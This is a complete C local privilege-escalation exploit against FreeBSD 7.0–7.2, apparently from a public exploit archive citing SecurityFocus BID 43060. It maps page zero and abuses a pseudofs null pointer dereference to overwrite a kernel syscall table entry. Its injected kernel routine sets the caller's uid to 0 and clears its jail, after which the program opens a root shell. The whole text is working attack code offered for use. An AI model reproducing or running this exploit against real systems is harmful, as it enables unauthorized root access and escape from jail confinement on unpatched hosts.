FreeBSD - 'pseudofs' Null Pointer Dereference Privilege Escalation

/*
 * source: https://www.securityfocus.com/bid/43060/info
 * 18.08.2010, babcia padlina
 * FreeBSD 7.0 - 7.2 pseudofs null ptr dereference exploit
 *
 *
 * to obtain SYSENT8_SYCALL_ADDR, run:
 * $ kgdb /boot/kernel/kernel
 * (kgdb) print &sysent[8].sy_call
 */

#define SYSENT8_SYCALL_ADDR	0xc0c4afa4 	/* FreeBSD 7.2-RELEASE */

#define _KERNEL

#include <sys/param.h>
#include <sys/conf.h>
#include <sys/ucred.h>

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/proc.h>
#include <sys/types.h>
#include <sys/extattr.h>
#include <sys/uio.h>
#include <sys/turnstile.h>
#include <sys/queue.h>

struct turnstile {
	struct mtx ts_lock;
	struct threadqueue ts_blocked[2];
	struct threadqueue ts_pending;
	LIST_ENTRY(turnstile) ts_hash;
	LIST_ENTRY(turnstile) ts_link;
	LIST_HEAD(, turnstile) ts_free;
	struct lock_object *ts_lockobj;
	struct thread *ts_owner;
};

volatile int gotroot = 0;

static void kernel_code(void) {
	struct thread *thread;

	asm(
		"movl %%fs:0, %0"
		: "=r"(thread)
	);

	/*
	 * kernel_code() is called while thread is in critical section,
	 * so we need to unset td_critnest flag to prevent panic after
	 * nearest user mode page fault.
	 */
	thread->td_critnest = 0;
	thread->td_proc->p_ucred->cr_uid = 0;
	thread->td_proc->p_ucred->cr_prison = NULL;
	gotroot = 1;

	return;
}

int main(int argc, char **argv) {
	struct turnstile *ts = 0;

	if (access("/proc/curproc/cmdline", R_OK)) {
		printf("procfs not found.\n");
		return -1;
	}

	if (mmap(0, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) == MAP_FAILED) {
		printf("mmap 0x0 failed.\n");
		return -1;
	}

	memset(0, 0, PAGE_SIZE);

	/* 
	 * we need to call dummy extattr_get_link() here, to make
	 * libc memory pages accessible without user mode page fault. without
	 * it, panic will occur after next extattr_get_link().
	 */
	extattr_get_link("/dev/null", 0, 0, 0, 0);

	/* overwrite sysent[8].sy_call with 0x0 */
	ts->ts_blocked[0].tqh_first = (void *)(SYSENT8_SYCALL_ADDR - 0x1c);
	extattr_get_link("/proc/curproc/cmdline", 0, 0, 0, 0);

	*(char *)0x0 = 0x90;
	*(char *)0x1 = 0xe9;
	*(unsigned long *)0x2 = &kernel_code;

	asm(
		"movl $0x8, %eax;"
		"int $0x80;"
	);

	if (gotroot) {
		printf("oops, I did it again.\n");
		setuid(0);
		setgid(0);
		execl("/bin/sh", "sh", NULL);
	}

	printf("exploit failed.\n");

	return 0;
}